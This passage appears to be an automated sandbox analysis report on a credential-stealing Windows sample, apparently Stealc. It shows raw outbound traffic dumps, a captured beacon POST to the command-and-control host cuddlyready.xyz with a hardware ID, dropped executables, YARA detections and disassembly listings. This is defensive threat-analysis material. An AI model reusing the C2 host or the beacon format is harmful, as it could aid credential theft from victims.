1e dc 67 48 46 1f 55 3b da 05 76 60 1e 7b da bd a7 fc a2 77 fc eb 33 5a 1e bc 32 f6 e1 f7 16 72 0b e7 a6 Data Ascii: EEev5m,k;bDNyh$j6^dHlk.BPx=j!=wGIsaewboCcKJ/cG#CbfyhDIZ,c&E$PaJ-boziq[[TWO89ZL=4#M G:gxugHFU;v`{w3Z2r
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 98 f9 98 16 36 ad d1 c2 f8 db 60 67 66 7d c7 4f 8c d1 15 e2 96 2e 03 8b c9 d7 56 70 be fb 5d 53 a2 43 e3 cc 58 c5 c3 8a b4 47 fa e2 7f 93 eb 5a ab ab 8a 6c 38 79 7f cb 09 a6 bf cc 35 1f f9 de 3d d5 fe 6f 78 a0 0e 51 f5 98 d4 87 39 70 ff d8 fe d8 c9 15 6d 36 b5 fa cb a9 b4 85 e0 c6 b5 d8 b2 2f 86 d7 c7 ef ac 19 4d f1 1d a7 a5 86 b2 72 af fe 75 62 d3 fb 93 a1 02 2d c4 f1 eb b7 d8 8d a9 05 59 2b 7c e1 cc 42 55 42 fa b9 d0 f9 fe 30 87 4f f5 d5 7f bb cb fd 94 6b bd d8 ca a9 1a 8b 10 49 0d f4 1f 64 a9 c9 f8 2c 4f ac bd f4 5e 3e 6d c2 07 da 97 38 31 b3 0c 7b 47 ac 52 c5 01 45 d5 61 5a fb af e1 9e fd 9c 4e 0e 2b 54 c1 7d f9 6b 2e da ff a9 06 ef 8a 94 ca 29 5e 13 2b fc af 11 a1 bb 47 06 f3 56 8c 15 b5 b6 a9 4b d7 d5 9a 5f d2 9c 7c 3b d7 7b b5 b1 4e ce 0a a5 20 3b Data Ascii: 6`gf}O.Vp]SCXGZl8y5=oxQ9pm6/Mrub-Y+\|BUB0OkId,O^>m81{GREaZN+T}k.)^+GVK_\|;{N ;
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: d0 82 15 c6 38 08 31 d6 83 3d 71 85 c6 74 02 e8 c2 17 c6 6f 4e 2b 1a 8a de ea 4d c9 8f a4 77 e4 19 2a 61 b8 bf 0a 9e 6f 22 3d af 1d 94 3f cf 07 d5 10 c0 f9 66 b1 27 2c ea 04 b3 2f a7 20 6d ab 47 78 f7 a3 47 ce a2 ee 63 9f 3c 4c 56 80 12 a9 2b 20 34 ea a5 6c 16 be 08 1b da bd cb 86 0b 23 21 d7 ad ce 62 49 0f f2 95 ec 08 cd 7f fb 91 ad 06 8a 9a 82 4a 56 d1 bf 4e 92 e3 05 04 fe cc b1 52 ae cd e5 ae f1 d6 fa 2b 6b 5c c0 ee b7 e9 03 11 50 41 ab a9 2b ba d4 c6 bf 77 f5 dc 85 85 93 e7 fd 92 16 6d 8e 55 fc 72 3f f6 8e 69 7e de f9 11 9d bc c0 f3 9f b9 4f c7 be 32 f7 65 34 dd 28 19 e6 fb ff 9d b3 eb 92 a0 f4 17 0f 52 09 e6 41 66 0c 2c 3b ff 52 90 51 55 4e 4b 6b 45 97 00 84 e7 c8 63 a2 ef 0e d2 4e 80 8e 0f 9c 6d a1 a4 03 47 7d 2c e5 88 18 60 ce a0 42 94 1b 4a 38 38 Data Ascii: 81=qtoN+Mw*ao"=?f',/ mGxGc<LV+ 4l#!bIJVNR+k\PA+wmUr?i~O2e4(RAf,;RQUNKkEcNmG},`BJ88
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 50 1a ac 0a 8c c3 3d f2 61 25 c1 c5 f7 01 93 0e f3 f8 23 2f 44 1a 9c a2 7e cb 1e 21 7e 48 30 b7 0d f3 e2 bc 67 97 16 cb b5 3c d8 34 2f 9f 36 9a a4 97 fc 3b 2b 8e 32 77 89 bc 40 bd d9 b9 eb a4 21 c3 e9 43 ed 9d 54 c5 65 86 6e 26 bd 44 d4 e8 4a c8 ec 57 72 5d 50 b1 4e ed 4f 11 35 95 b8 0f f6 b0 2e d6 cf 0b 7c c4 26 3a 9d c7 64 98 ea 95 e0 5d 34 f1 6b 87 8e 86 39 1e 49 1c 22 9d 1a 9b a1 4c 6b d5 8a d5 f9 be cf b9 bb 77 40 e2 f1 1b aa d6 36 91 37 a2 08 b3 37 5f d7 6a 20 fc 08 80 54 c6 fc b0 4e 3e 83 d2 c3 36 ce 3f 51 06 f4 32 73 2e 15 f9 ca 28 42 e1 d1 c4 e9 a8 cd db 01 1a 6a cd c8 6d ec cd 8f 12 1f e9 2b 35 49 4a fc e0 b0 ae 7a a1 25 0b 09 7b 60 e0 78 2c 64 b9 44 b1 27 a2 3e 8a 66 d6 83 85 60 f6 28 6d 09 31 aa d0 a2 8c 1a 2a b5 0c 14 0c b3 a2 4b 94 bf e3 e0 Data Ascii: P=a%#/D~!~H0g<4/6;+2w@!CTen&DJWr]PNO5.\|&:d]4k9I"Lkw@677_j TN>6?Q2s.(Bjm+5IJz%{`x,dD'>f`(m1*K
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 93 b4 c3 e0 e1 bc 53 c0 d6 db c6 19 f2 f4 e4 8f c3 6b 0a 2f 67 23 97 b5 c8 09 43 e8 8d 9c 40 b9 c1 4a 1d 28 ec 09 97 84 92 5e d3 46 e1 ee 9d d3 7e ca 5d c1 20 97 f0 04 2e f8 ef 13 07 c2 fb 48 8c a1 98 68 99 65 a2 ca 18 f7 75 28 2a 34 fc 28 23 94 ab 45 18 66 88 2d 32 ac 8f ba 5e 37 b2 72 c2 6c 45 2d 60 7f 9e a3 4f b1 2c 12 9c 5e 06 7a 98 a9 64 cf 56 ee f0 ac f5 27 55 ae 48 4c a9 d5 96 a1 e3 44 5c 1b 4a b7 44 a1 3a f1 47 94 22 c1 b0 66 2d 2e 62 1c 39 76 8d bf a1 c7 c7 fe 0a de c0 ca 79 c8 c2 09 b1 31 2c fe 91 e1 47 4e c2 21 0c b1 16 b3 89 3d f7 d6 ec 15 c3 83 8f ec 59 bc 21 37 91 e7 d9 44 2e d9 be 0c bd 68 32 52 5d e0 98 98 19 75 45 ba ac 0e 48 f4 05 6f a2 11 dc a5 15 9b f2 a1 b7 aa 5c fc f4 5e 14 25 81 ce 3b 81 c7 2d 9e 2d ad bf c6 2b 21 32 6e f7 bb 7c dd Data Ascii: Sk/g#C@J(^F~] .Hheu(*4(#Ef-2^7rlE-`O,^zdV'UHLD\JD:G"f-.b9vy1,GN!=Y!7D.h2R]uEHo\^%;--+!2n\|
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: 51 83 73 39 b1 e9 e7 86 59 b7 df 22 9d 65 0a 8f 35 14 42 82 e5 51 2b f7 b7 93 93 a3 ca 43 fa 89 45 5f 6a 5f b3 ac a7 6e 36 a5 b8 a9 f3 d3 f3 23 af 84 a5 1c 8c e9 5b 36 6e 59 fc 82 fc 3b 48 77 6c 56 8f 1e c4 12 1d c4 84 51 64 98 71 63 2e 4d bd 5c e4 bb 8e 1b f1 ed 6d 1e 13 a0 6b 54 73 7d 0f 10 db 80 4e 2c dc f9 db 6c 99 31 70 5e f4 fa e6 2a c3 72 59 51 4f d4 ce 2e 9b 98 25 02 56 54 89 5e 5e 63 12 3f 2a eb da 03 67 21 b8 ea 71 92 25 59 bd 47 e0 fe 08 34 f6 1b 01 db e8 d7 b2 8d 19 7b 80 60 96 69 37 22 3e 5d 9c e7 24 59 72 4a 1e ff 2c 52 d3 10 bf a0 0f d7 2f f1 81 2f 91 05 15 77 e0 50 e1 23 b4 04 55 60 37 f3 77 fc 19 bb 23 07 df f9 1f e2 2c bf 3e 7e dc 36 7b ec e4 c3 48 f3 50 9a 2d 44 9e a8 4b 7e f0 5a 0d 08 bd 39 4c 91 87 c8 a5 87 d8 7a dd 1b 41 9a e4 61 f0 Data Ascii: Qs9Y"e5BQ+CE_j_n6#[6nY;HwlVQdqc.M\mkTs}N,l1p^rYQO.%VT^^c?g!q%YG4{`i7">]$YrJ,R//wP#U`7w#,>~6{HP-DK~Z9LzAa
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: cd 29 28 c4 e6 cf 49 e0 bc 27 c5 ad c6 07 7d d5 cc 69 31 5a 4d c8 35 00 44 3f a1 9a 39 31 e3 bd 41 bd 22 6d 7a b3 3e 88 48 23 d2 f4 94 b6 68 fc ee 24 49 de 9b 3e 1a 1a 28 ff ca bd 10 91 5d fd 20 5c 2a 87 85 e4 6b e2 98 2b 3a d6 8b 21 de 4f 97 8d f1 4e 8e d0 87 f9 5e 2d e4 7b 0e 70 7a 8a e0 50 1f 94 9e 3f a1 d3 ca f3 f0 4a 58 e6 e9 3d 6c 20 10 cc c5 f1 6e d6 d4 2a 02 c9 23 54 2a 9b 99 5e 81 98 bf bf 0a 7d 13 8b eb 0f f5 05 2f fa e6 ce 74 34 b9 a0 43 7b 76 93 d7 1b 8f e1 ca 18 ae 0a 85 8d 21 fd d8 38 dd 4f b2 a9 61 32 00 31 5d cb 79 ba 03 93 3c ca c7 9c 45 2d d5 07 87 11 1b c3 6f db ee b4 28 b3 23 52 87 07 d6 4e 92 6e 85 0a 66 1b 9d 2c d7 d4 51 2e d7 b1 f4 12 e4 d4 24 8f 57 5a 6b cd e5 08 58 f5 fc 6b 01 88 f0 ec f6 3c a3 da 5a 13 d3 ab d9 9e 28 3f 57 1f b8 Data Ascii: )(I'}i1ZM5D?91A"mz>H#h$I>(] \k+:!ON^-{pzP?JX=l n#T*^}/t4C{v!8Oa21]y<E-o(#RNnf,Q.$WZkXk<Z(?W
2024-12-23 07:31:35 UTC	15331	OUT	Data Raw: b5 b1 47 5a f9 7c f5 ca 1d 7d 56 b8 a5 7a 98 c1 01 20 3c ff 76 ab bb d6 a8 b6 26 43 82 b3 1d bc 98 12 28 44 b0 c9 5d a3 f7 8c f0 7b ce 3c 9e f0 2d e2 ec 15 b3 e4 d6 07 77 c8 cb bb 1d 61 4d 81 b2 ee 38 e9 00 6b 8f e5 06 41 f5 36 14 d9 41 02 c5 74 17 85 29 61 fe d8 4d f4 ea 88 c6 a7 f0 bc d1 99 8b 85 ee 50 86 b3 a7 b2 84 27 4c 73 95 9b 31 ef 89 fe a4 e6 56 1d 11 12 c3 d9 a7 10 eb 17 83 e4 c9 1a 23 09 3e 1b 76 83 35 cf 04 52 ff b8 0f d0 63 41 dd 9f 2c 55 06 f1 6b 5c bc 41 98 41 19 3b 40 ae 95 25 7d c2 c5 c4 20 04 97 99 ee 87 9b 1c 64 b1 c7 97 4f 7d c2 41 80 7f d6 db fd b3 7c f6 c6 e1 33 37 57 04 c1 9b bd 36 7d d1 d7 4e 27 db 08 30 13 cc 19 06 ba 5b f8 4d 11 94 49 89 6d 82 ba f5 5d 23 89 a5 ed cd 23 3a cf 2b ec 65 9f f1 d5 da 93 9f a9 92 f3 77 97 b4 ff 27 20 Data Ascii: GZ\|}Vz <v&C(D]{<-waM8kA6At)aMP'Ls1V#>v5RcA,Uk\AA;@%} dO}A\|37W6}N'0[MIm]##:+ew'
2024-12-23 07:31:38 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=47rqs35hegg7hibfk15c59olh6; expires=Fri, 18 Apr 2025 01:18:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GJKHmrqpvS2EAZJsJyyv6WQVvp%2BbYBTKP4ofhbL%2BxHvldLYLcMZHDMINsm4%2Fnc4hzedEza%2B55Uvbls9%2FFkVfrhdSgNQ%2BdWte01yvoXfnHFZsuxE9RBHdvssguRHWGan8KT0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a723bd3f4325-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2390&min_rtt=2384&rtt_var=907&sent=337&recv=582&lost=0&retrans=0&sent_bytes=2837&recv_bytes=573201&delivery_rate=1197211&cwnd=180&unsent_bytes=0&cid=c352e7d776e1bd87&ts=3318&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49713	172.67.150.173	443	3600	C:\Users\user\Desktop\w23Vg439U1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:31:40 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: cuddlyready.xyz
2024-12-23 07:31:40 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 32 39 41 43 37 38 46 39 33 34 30 43 38 36 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=29AC78F9340C868DAC8923850305D13E
2024-12-23 07:31:40 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4s3hm5gf5qeq990prpoong6ocm; expires=Fri, 18 Apr 2025 01:18:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B8Cbshwu%2BpnuuJoj%2FNS5pS8pTfdZEkEzgu3%2BBKvbZYFJmH9QZXYb0ylqnYodW50izExE01mtW1AGwLz8JGmT%2FfZx%2BUHdGnsXqZwscC1h7sFXQjik7r0N5ItNEI7RF875Ct0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66a7417b434289-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1690&rtt_var=645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1681059&cwnd=150&unsent_bytes=0&cid=5ed0a6965387e7a5&ts=774&x=0"
2024-12-23 07:31:40 UTC	214	IN	Data Raw: 64 30 0d 0a 67 70 6e 6b 33 79 6f 7a 6f 64 74 63 5a 4c 78 4c 2f 70 7a 63 6b 32 33 45 41 2f 59 39 6c 6c 6a 46 72 7a 4c 66 2b 34 47 38 41 76 72 5a 34 73 61 71 43 41 6d 44 73 79 67 51 7a 48 47 69 73 34 43 38 58 50 77 32 32 41 2b 6e 62 65 75 65 41 2b 7a 56 73 49 70 65 31 65 33 2f 67 6f 4d 46 56 38 53 39 63 67 48 45 4c 74 79 77 2f 76 55 5a 35 6a 6e 47 45 62 51 39 35 35 55 43 6f 74 66 36 6e 6e 66 59 75 4c 75 4d 71 31 35 44 6d 34 64 7a 4f 4a 4e 36 78 71 6e 79 6f 56 7a 78 4c 63 63 4d 70 58 62 30 6d 57 37 77 69 50 58 5a 59 35 66 65 74 70 61 2b 52 46 66 4f 74 6e 49 42 78 43 37 63 73 50 37 31 47 65 59 35 78 68 47 30 50 65 65 56 41 71 4b 6d 0d 0a Data Ascii: d0gpnk3yozodtcZLxL/pzck23EA/Y9lljFrzLf+4G8AvrZ4saqCAmDsygQzHGis4C8XPw22A+nbeueA+zVsIpe1e3/goMFV8S9cgHELtyw/vUZ5jnGEbQ955UCotf6nnfYuLuMq15Dm4dzOJN6xqnyoVzxLccMpXb0mW7wiPXZY5fetpa+RFfOtnIBxC7csP71GeY5xhG0PeeVAqKm
2024-12-23 07:31:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:31:17
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\w23Vg439U1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w23Vg439U1.exe"
Imagebase:	0x2e0000
File size:	1'835'008 bytes
MD5 hash:	221C8AC3ED6F410D8B286790034F8E4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1554213571.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1576636078.00000000016F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:31:45
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe"
Imagebase:	0x2a0000
File size:	2'765'312 bytes
MD5 hash:	579641D4119C3977AA3E5FDCBB740D8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:31:50
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe"
Imagebase:	0x5a0000
File size:	2'835'456 bytes
MD5 hash:	59729E914FA8E15D347129643C03AC1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1842480874.00000000005A1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1802184006.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	29%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 004289CE Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EC467FF7,?), ref: 00428A22

Memory Dump Source

Source File: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction ID: 1929fc9cb35ec6d5b9a659cf2cf8f4585531ca40ee38b1597e50c3c07a912307
Opcode Fuzzy Hash: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction Fuzzy Hash: EDF08CB311C2596FE318DF15A800EBEB398DA84230FB5410FE84093901DE396D048B7D

Function 002AB96C Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
